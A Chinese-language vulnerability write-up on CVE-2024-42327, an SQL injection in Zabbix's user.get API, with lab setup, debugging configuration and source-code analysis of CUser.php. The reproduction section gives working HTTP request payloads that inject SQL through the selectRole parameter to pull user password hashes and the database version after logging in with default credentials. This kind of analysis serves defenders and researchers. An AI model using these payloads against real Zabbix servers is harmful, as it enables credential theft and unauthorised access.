CVE-2024-42327

首发于奇安信攻防社区 https://forum.butian.net/article/639

漏洞简介

Zabbix 是一款开源的网络监控和报警系统,用于监视网络设备、服务器和应用程序的性能和可用性。

攻击者可以通过API接口,向 user.get API端点发送恶意构造的请求,注入SQL代码,以实现权限提升、数据泄露或系统入侵。

影响版本

img

6.0.0 <= Zabbix <= 6.0.31

6.4.0 <= Zabbix <= 6.4.16

Zabbix 7.0.0

环境搭建

参考https://forum.butian.net/share/3056

访问https://cdn.zabbix.com/zabbix/appliances/stable/7.0/7.0.0/

img

选择 vmx.tar.gz 这个,解压双击.vmx 文件即可导入 vmware workstation

然后开机即可,访问机器ip 80端口即可看到 zabbix 登录页面,默认账号密码是root/zabbix

php调试环境搭建

参考https://juejin.cn/post/7201509055713493049

我这里源码从 https://cdn.zabbix.com/zabbix/sources/stable/7.0/ 下载的

img

虚拟机中没有php命令,但是有php-fpm命令可以用

php-fpm -i获取到配置信息后使用wizard安装php xdebug拓展,这里安装xdebug-3.4.0

1
2
3
4
5
6
7
8
9
10
11
cd /tmp
wget https://xdebug.org/files/xdebug-3.4.0.tgz
tar -xvzf xdebug-3.4.0.tgz
cd xdebug-3.4.0
# 编译所需环境
yum install -y install gcc automake autoconf libtool make php-devel
phpize
./configue
make
cd module
cp xdebug.so /usr/lib64/php/modules/

然后vi /etc/php.d/99-xdebug.ini 添加行zend_extension = xdebug

然后systemctl restart php-fpm重启 php-fpm,最后php-fpm -v查看是否成功生效

img

配置php.ini文件,在末尾添加以下内容

1
2
3
4
xdebug.mode = debug,develop,trace
xdebug.start_with_request = yes
xdebug.client_host = 192.168.182.1
xdebug.client_port = 9003

具体作用可以参考https://xdebug.org/docs/develop,这里是指定vscode所在机子的ip和通信端口(注意要开放这个端口)

然后在vscode上面添加调试配置,将生成的php xdebug配置的默认配置改为

1
2
3
4
5
6
7
8
9
10
{
"name": "远程调试",
"type": "php",
"request": "launch",
"port": 9003,
"pathMappings": {
"/usr/share/zabbix": "${workspaceFolder}/ui"
},
"hostname": "192.168.182.1"
}

img

漏洞复现

Zabbix的addRelatedObjects函数中的CUser类中存在SQL注入,此函数由 CUser.get 函数调用,具有API访问权限的用户可利用造成越权访问高权限用户敏感信息以及执行恶意SQL语句等危害。

首先通过账号密码登录后台

1
2
3
4
5
6
7
8
9
POST /api_jsonrpc.php HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 106

{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "Admin", "password": "zabbix"}, "id": 1}

img

然后SQL注入获取敏感信息

1
2
3
4
5
6
7
8
9
POST /api_jsonrpc.php HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json-rpc
Content-Length: 167

{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, u.passwd", "roleid"], "userids": "1"}, "auth": "2ae264ef7c19d2c2016a302c64e974c6", "id": 1}

img

漏洞分析

定位漏洞点ui/include/classes/api/services/CUser.php#get这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
public function get($options = []) {
$result = [];

$sqlParts = [
'select' => ['users' => 'u.userid'],
'from' => ['users' => 'users u'],
'where' => [],
'order' => [],
'limit' => null
];

$defOptions = [
'usrgrpids' => null,
'userids' => null,
'mediaids' => null,
'mediatypeids' => null,
// filter
'filter' => null,
'search' => null,
'searchByAny' => null,
'startSearch' => false,
'excludeSearch' => false,
'searchWildcardsEnabled' => null,
// output
'output' => API_OUTPUT_EXTEND,
'editable' => false,
'selectUsrgrps' => null,
'selectMedias' => null,
'selectMediatypes' => null,
'selectRole' => null,
'getAccess' => null,
'countOutput' => false,
'preservekeys' => false,
'sortfield' => '',
'sortorder' => '',
'limit' => null
];
$options = zbx_array_merge($defOptions, $options);

// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}

// userids
if ($options['userids'] !== null) {
zbx_value2array($options['userids']);

$sqlParts['where'][] = dbConditionInt('u.userid', $options['userids']);
}

// usrgrpids
if ($options['usrgrpids'] !== null) {
zbx_value2array($options['usrgrpids']);

$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where'][] = dbConditionInt('ug.usrgrpid', $options['usrgrpids']);
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
}

// mediaids
if ($options['mediaids'] !== null) {
zbx_value2array($options['mediaids']);

$sqlParts['from']['media'] = 'media m';
$sqlParts['where'][] = dbConditionInt('m.mediaid', $options['mediaids']);
$sqlParts['where']['mu'] = 'm.userid=u.userid';
}

// mediatypeids
if ($options['mediatypeids'] !== null) {
zbx_value2array($options['mediatypeids']);

$sqlParts['from']['media'] = 'media m';
$sqlParts['where'][] = dbConditionInt('m.mediatypeid', $options['mediatypeids']);
$sqlParts['where']['mu'] = 'm.userid=u.userid';
}

// filter
if (is_array($options['filter'])) {
if (array_key_exists('autologout', $options['filter']) && $options['filter']['autologout'] !== null) {
$options['filter']['autologout'] = getTimeUnitFilters($options['filter']['autologout']);
}

if (array_key_exists('refresh', $options['filter']) && $options['filter']['refresh'] !== null) {
$options['filter']['refresh'] = getTimeUnitFilters($options['filter']['refresh']);
}

if (isset($options['filter']['passwd'])) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('It is not possible to filter by user password.'));
}

$this->dbFilter('users u', $options, $sqlParts);
}

// search
if (is_array($options['search'])) {
if (isset($options['search']['passwd'])) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('It is not possible to search by user password.'));
}

zbx_db_search('users u', $options, $sqlParts);
}

// limit
if (zbx_ctype_digit($options['limit']) && $options['limit']) {
$sqlParts['limit'] = $options['limit'];
}

$userIds = [];

$sqlParts = $this->applyQueryOutputOptions($this->tableName(), $this->tableAlias(), $options, $sqlParts);
$sqlParts = $this->applyQuerySortOptions($this->tableName(), $this->tableAlias(), $options, $sqlParts);
$res = DBselect(self::createSelectQueryFromParts($sqlParts), $sqlParts['limit']);

while ($user = DBfetch($res)) {
unset($user['passwd']);

if ($options['countOutput']) {
$result = $user['rowscount'];
}
else {
$userIds[$user['userid']] = $user['userid'];

$result[$user['userid']] = $user;
}
}

if ($options['countOutput']) {
return $result;
}

/*
* Adding objects
*/
if ($options['getAccess'] !== null) {
foreach ($result as $userid => $user) {
$result[$userid] += ['gui_access' => 0, 'debug_mode' => 0, 'users_status' => 0];
}

$access = DBselect(
'SELECT ug.userid,MAX(g.gui_access) AS gui_access,'.
' MAX(g.debug_mode) AS debug_mode,MAX(g.users_status) AS users_status'.
' FROM usrgrp g,users_groups ug'.
' WHERE '.dbConditionInt('ug.userid', $userIds).
' AND g.usrgrpid=ug.usrgrpid'.
' GROUP BY ug.userid'
);

while ($userAccess = DBfetch($access)) {
$result[$userAccess['userid']] = zbx_array_merge($result[$userAccess['userid']], $userAccess);
}
}

if ($result) {
$result = $this->addRelatedObjects($options, $result);
}

// removing keys
if (!$options['preservekeys']) {
$result = zbx_cleanHashes($result);
}

return $result;
}

可以看出这里在解析传入的参数。首先将传入的参数合并到参数模板中,然后根据合并后的参数调整SQL语句的fromwherelimit等子句,然后查询用户表中所有字段

img

fetch结果集后,unset了passwd这个敏感字段,所以预期这里的结果是获取不到passwd这个字段的

1
2
3
4
5
6
7
8
9
10
11
12
while ($user = DBfetch($res)) {
unset($user['passwd']);

if ($options['countOutput']) {
$result = $user['rowscount'];
}
else {
$userIds[$user['userid']] = $user['userid'];

$result[$user['userid']] = $user;
}
}

处理完查询的结果集后,又向结果集中添加了一些对象,这里调用了CUser#addRelatedObjects()这个方法

Adds the related objects requested by “select*” options to the resulting object set.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
protected function addRelatedObjects(array $options, array $result) {
$result = parent::addRelatedObjects($options, $result);

$userIds = zbx_objectValues($result, 'userid');

// ......

// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}

$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);

foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}

while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);

$result[$userid]['role'] = $db_role;
}
}

return $result;
}

可以看到这个方法在adding user role时,将用户可控的options参数内容直接拼接到了SQL语句中,于是造成了SQL注入。并且查询结果会存进$result数组中返回,最终以 json 形式返回到客户端。

img

并且这里注入的位置在查询字段处,可利用度相当高,于是可以轻松构造相关恶意语句

1
{"jsonrpc": "2.0", "method": "user.get", "params": {"selectRole": ["roleid, version()", "roleid"], "userids": "1"}, "auth": "2ae264ef7c19d2c2016a302c64e974c6", "id": 1}

img

⬆︎TOP